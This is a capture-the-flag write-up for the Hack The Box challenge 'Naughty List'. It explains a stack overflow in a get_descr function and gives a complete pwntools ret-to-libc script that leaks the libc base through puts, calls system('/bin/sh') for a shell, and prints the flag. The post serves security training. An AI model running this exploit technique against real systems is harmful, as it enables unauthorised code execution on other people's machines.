Skip to main content

Day 3: Naughty List

challenge description
The Elves have stolen Santa's 📜 and now he does not know who was good and who was bad. 
This form will help him recreate his list and send out gifts. Were you good enough or naughty?

Yet another colourful one

This is THE WORST! So many colours and extra items which made pwntools work horribly with it. I had to resort to using time.sleep() to tackle it.

Running the binary, it seems like we are given an opportunity to write and overflow the stack buffer. With libc provided, it is apparent we need to ret-to-libc. However, we need to first leak the base address.

get_descr
void get_descr(void)

{
undefined local_28 [32];

rainbow("\n[*] Name of the gift you want and why you were good enough to deserve it: ");
read(0,local_28,0x3c0);
fwrite(&DAT_00401688,1,0x47,stdout);
return;
}

At least it is obvious they are allowing us to read 0x3c0 bytes, which is really large! As usual, we can use [email protected] and [email protected] to make puts output the address. This works for dynamically linked binaries which uses the Global Offset Table.

solve.py
#!/usr/bin/env python3

from pwn import *
import time

# There is no PIE, so we do not need to main base address
context.log_level = 'warn'

binary = ELF("./naughty_list_patched")
rop = ROP(binary)
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = binary

RET = rop.find_gadget(['ret'])[0]
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
PUTS_GOT = binary.got.puts
PUTS_PLT = binary.plt.puts
MAIN = binary.sym.get_descr

if args.REMOTE:
p = remote("178.62.18.237", 30396)
else:
# Patched using pwninit
p = process('./naughty_list_patched')
gdb.attach(p.pid,
'''
b *get_descr+81
c
'''
)

def send():
time.sleep(1)
p.sendline(b'pwned')

time.sleep(1)
p.sendline(b'Pwned')

time.sleep(1)
p.sendline(b'37')

send()
payload = b'A' * 40
payload += p64(POP_RDI)
payload += p64(PUTS_GOT)
payload += p64(PUTS_PLT)
payload += p64(MAIN)

time.sleep(1)
p.sendline(payload)

p.recvuntil(b'!')
p.recvline()
received = p.recvuntil(b'[').strip()[:-3]
print(received)
leaked = u64(received.ljust(8, b'\x00'))

libc.address = leaked - libc.sym.puts
print('[+] Leaked base:', hex(libc.address))

BINSH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.sym.system
EXIT = libc.sym.exit

payload = b'A' * 40
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BINSH)
payload += p64(SYSTEM)
payload += p64(MAIN)

time.sleep(1)
p.sendline(payload)

p.interactive()

Flag

HTB{u_w1ll_b3_n4ughtyf13d_1f_u_4r3_g3tt1ng_4_g1ft}